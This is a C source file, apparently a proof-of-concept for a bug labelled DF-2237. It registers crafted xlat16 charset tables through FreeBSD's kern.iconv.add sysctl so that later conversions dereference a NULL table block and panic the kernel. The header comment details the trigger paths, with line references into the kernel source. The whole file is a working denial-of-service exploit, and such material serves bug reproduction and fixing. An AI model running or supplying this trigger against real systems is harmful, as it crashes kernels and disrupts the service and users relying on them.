DF-2237 / armtbl.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-2237 table armer -- registers crafted xlat16 charset pairs through the * REAL kern.iconv.add sysctl path (identical wire format to * lib/libkiconv/xlat16_sysctl.c:kiconv_add_xlat16_table). * * Serialized blob format consumed by iconv_xlat16_open() * (sys/libiconv/iconv_xlat16.c:59-78): * offset 0 : caddr_t idx[0x200] -- NULL means "high-byte block absent" * offset 0x1000: for each non-NULL idx entry, in ASCENDING index order, * one block of 0x80 uint32_t entries * * Table 1 (pair "UTF-16BE" <- "DF2237CS"), block 0 only, f_ctp == NULL * (no _wctype pair registered for DF2237CS): * 'A' (0x41): XLAT16_HAS_FROM_LOWER_CASE, from-lower target 0xC2 * -> single-byte path (iconv_xlat16.c:186-189) computes * c1 = C2I1(0xC2<<8) = 0x100, c2 = 0x42 * -> line 192 derefs d_table[0x100] == NULL => panic * 'C' (0x43): from-lower target 'c' (0x63) -> stays in block 0 (control) * 'B' (0x42), 'c' (0x63): plain conversions (controls) * * Table 2 (pair "UTF-16BE" <- "DF2237W2"), block 0x1CD only: * entry[0x2B] = 0x1234 ("\xab\xcd" converts cleanly w/o case conv) * Table 3 (pair "_wctype" <- "DF2237W2"), block 0x1CD only: * entry[0x2B] = 0x8356 | XLAT16_HAS_LOWER_CASE * -> towlower(0xABCD) returns 0x8356 (iconv_xlat16_tolower:299-322) * -> double-byte path (iconv_xlat16.c:155-158) computes * c1 = C2I1(0x8356) = 0x156, c2 = 0x03 * -> line 192 derefs d_table[0x156] == NULL in the MAIN table => panic */ #include <sys/types.h> #include <sys/iconv.h> #include <sys/sysctl.h> #include <errno.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define IDX_BYTES (0x200 * sizeof(uint32_t *)) /* 0x1000 */ #define BLK_BYTES (0x80 * sizeof(uint32_t)) /* 0x200 */ struct tbl { uint8_t buf[IDX_BYTES + 0x200 * BLK_BYTES]; size_t len; int last; /* last block index added (ordering guard) */ }; static void tbl_reset(struct tbl *t) { memset(t, 0, sizeof(*t)); t->len = IDX_BYTES; t->last = -1; } /* declare block `idx` present; blocks MUST be added in ascending order */ static uint32_t * tbl_add_block(struct tbl *t, int idx) { uint32_t **ip = (uint32_t **)t->buf; if (idx <= t->last) { fprintf(stderr, "tbl_add_block: idx 0x%x out of order " "(last 0x%x)\n", idx, t->last); exit(2); } t->last = idx; ip[idx] = (uint32_t *)1; /* non-NULL marker; kernel ignores value */ t->len += BLK_BYTES; return ((uint32_t *)(t->buf + t->len - BLK_BYTES)); } static void add_pair(const char *to, const char *from, const void *data, size_t datalen) { struct iconv_add_in din; struct iconv_add_out dout; size_t olen = sizeof(dout); memset(&din, 0, sizeof(din)); din.ia_version = ICONV_ADD_VER; strcpy(din.ia_converter, "xlat16"); strcpy(din.ia_to, to); strcpy(din.ia_from, from); din.ia_data = data; din.ia_datalen = (int)datalen; if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) == -1) { if (errno == EEXIST) { /* already armed (same boot) */ printf("already registered %-10s <- %-10s\n", to, from); return; } err(1, "sysctl kern.iconv.add %s <- %s", to, from); } printf("registered %-10s <- %-10s csid=%d datalen=%zu\n", to, from, dout.ia_csid, datalen); } int main(void) { struct tbl t1, t2, t3; uint32_t *b; /* ---- table 1: single-byte XLAT16_HAS_FROM_LOWER_CASE trigger ---- */ tbl_reset(&t1); b = tbl_add_block(&t1, 0x000); b[0x41] = 0x0041 | XLAT16_HAS_FROM_LOWER_CASE | ((uint32_t)0xC2 << 16); b[0x42] = 0x0042; b[0x43] = 0x0043 | XLAT16_HAS_FROM_LOWER_CASE | ((uint32_t)0x63 << 16); b[0x63] = 0x0063; add_pair("UTF-16BE", "DF2237CS", t1.buf, t1.len); /* ---- table 2: main table for the double-byte trigger ---- */ tbl_reset(&t2); b = tbl_add_block(&t2, 0x1CD); b[0x2B] = 0x1234; /* "\xab\xcd" -> U+1234 */ add_pair("UTF-16BE", "DF2237W2", t2.buf, t2.len); /* ---- table 3: _wctype table driving towlower for table 2 ---- */ tbl_reset(&t3); b = tbl_add_block(&t3, 0x1CD); b[0x2B] = 0x8356 | XLAT16_HAS_LOWER_CASE; /* towlower(0xABCD) */ add_pair("_wctype", "DF2237W2", t3.buf, t3.len); printf("all pairs registered\n"); return (0); } |